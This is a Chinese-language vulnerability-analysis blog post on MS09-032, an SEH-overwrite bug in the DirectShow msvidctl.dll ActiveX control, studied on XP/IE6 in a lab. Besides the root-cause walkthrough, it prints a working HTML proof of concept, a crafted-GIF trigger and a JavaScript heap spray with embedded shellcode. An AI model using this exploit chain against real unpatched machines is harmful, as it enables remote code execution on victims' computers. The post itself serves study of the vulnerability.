selph
selph
发布于 2022-04-15 / 512 阅读
0
0

漏洞分析:MS09-032

漏洞介绍

2009年7月5日,微软爆出MPEG-2视频漏洞,就是Microsoft DirectShow MPEG-2视频ActiveX控件远程代码执行漏洞

该漏洞存在于DirectShow组件的msvidctl.dll中,由于程序员误将传入参数buff写成&buff,且&buff附近恰巧存放SEH指针,导致可以通过覆盖SEH结合HeapSpray技术进行利用

漏洞编号:MS09-032(CVE-2008-0015),补丁编号:KB973346

实验环境

  • 虚拟机:Windows XP SP3
  • 虚拟机:Kali Linux
  • 漏洞程序:IE6
  • 漏洞文件:msvidctl.dll
  • IDA + x86dbg

漏洞复现

在kali的msfconsole中搜索MS09-032(像这种经典漏洞msf里一般都有现成的exp):

image-20220415162502354

刚好有一个,设置payload:set payload windows/execset CMD calc.exerun

image-20220415162636976

使用Windows XP SP3自带的IE6打开,shellcode执行成功,弹出计算器:

image-20220415162716487

漏洞复现成功,该浏览器存在该漏洞,接下来进行分析

前置知识

gif文件格式

借用《0day安全》第二版中的图来介绍:

image-20220415212457250

gif文件前6个字节是文件GifHeader,包括3字节的签名和3字节的版本信息

然后紧接着的是LogicalScreenDescriptor,其后面跟着的剩下的内容就是数据部分了

漏洞分析

成因分析

poc:

<html>  
<body>  
<div id="DivID"></div>
<script>  
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
</script>  
</body>  
</html>

poc-logo.git:

image-20220415190326831

用x86dbg打开IE6,然后打开该POC页面,可以看到程序抛出异常了:

image-20220415191017608

这里因为ebx的值不是可读地址导致访问异常,ebx的值来自于[ebp-14],该地址后面紧挨着的SEH链表也被覆盖了

打开IDA,把发生异常的模块msvidctl.dll拖入,定位到发生异常的地址,然后找到异常的指令所处的函数地址:0x59F0D3BA,然后在x86dbg中在该地址下断点寻找在哪里发现了溢出覆盖SEH

跟进去之后发现该函数是递归调用的,在其中某一步调用了自己:

image-20220415191835774

也正是进入了这一次调用,栈的地址与发生异常的时候的栈的地址相近

接着往下走,再一次准备递归调用自己,此时栈与发生异常的时候更接近了:

image-20220415192010389

往下走发现是这个函数导致栈里溢出了:

image-20220415192314653

重启再来跟进一遍,发现导致溢出的点在更深一层的函数处:

image-20220415193622160

重来跟进,该函数位于0x7E3E28DB,是通过一个函数表来访问的,这可能是一个虚函数,这是虚表

image-20220415193723209

跟进去先是一个ReadFile函数的调用:

image-20220415193858919

该函数的参数:

BOOL ReadFile(
  [in]                HANDLE       hFile,		// 文件句柄
  [out]               LPVOID       lpBuffer,	// 缓冲区
  [in]                DWORD        nNumberOfBytesToRead,	// 读取的字节数
  [out, optional]     LPDWORD      lpNumberOfBytesRead,		// 读到的字节数
  [in, out, optional] LPOVERLAPPED lpOverlapped				// 可选
);

这里要往0x137c88这个地址读入gif文件:

image-20220415194059679

这是我们扭曲的gif文件的数据部分,最后8个字节是明显的ffffffff和0c0c0c0c,显然这两个DWORD的地址在0x137CB0和0x137CB4,这正是SEH链表节点所在的地址,溢出是发生在ReadFile函数的调用上了,这里缓冲区的开始地址是0x137C88

查看SEH链表:

image-20220415195537291

确实如此,为什么会这样呢?

一般来说,读取文件都会读取到申请的堆内存里,可这里却读到栈里,一般栈里保存的是局部变量,这里可能就是从指针里取地址结果错误写成了取指针的地址

再次回到调用前的时候,查看参数:

image-20220415201543213

该参数来自[ebp+8],这个位置的值位于申请出来的堆内存空间:

image-20220415201709301

按理说应该是写入到这个申请出来的堆空间的,实际上却写入到了栈里,这里显然是多写了个&取地址了,因此造成了漏洞

漏洞利用

因为是WindowsXP + IE6,所以没有DEP保护,也没有SEHOP检查SEH的链表完整性,更没有ASLR基址随机化,SafeSEH只能保障SEH处理函数不能位于栈上,那就好办了

因为覆盖了栈中的数据,如果要从栈中获取数据进行操作,则必会发生异常,而这里最近的SEH结点可控,因为是通过网页html触发的漏洞,所以可以在漏洞触发之前通过js进行堆喷,然后修改SEH异常处理函数到我们堆喷的地址上进行异常处理,从而劫持程序控制流

要做的事情:

  1. 通过堆喷射在固定位置上填充上shellcode
  2. 修改SEH结点处理函数为堆喷射中的地址

首先还是把之前从CVE-2010-2883样本分析中提取出来的堆喷代码拿出来,添加到漏洞poc前面:

var shellcode="\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857";                        

var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8 < 65536) var_C+=var_C;	
var_D = var_C.substring(0, (0x0c0c-0x24)/2);
var_D += shellcode;	// 拼接shellcode
var_D += var_C;		// 拼接滑块代码
var_E = var_D.substring(0, 65536/2);
while(var_E.length < 0x80000) var_E += var_E;
var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

然后修改gif文件内容最后4字节为0x0c0c0c0c(不用修改,这里默认就是hhhh)

打开网页:

MS09-032

成功执行shellcode

该漏洞分析相关文件和代码:vul-analysis-study/MS09-032 at main · kn0sky/vul-analysis-study (github.com)

参考资料


评论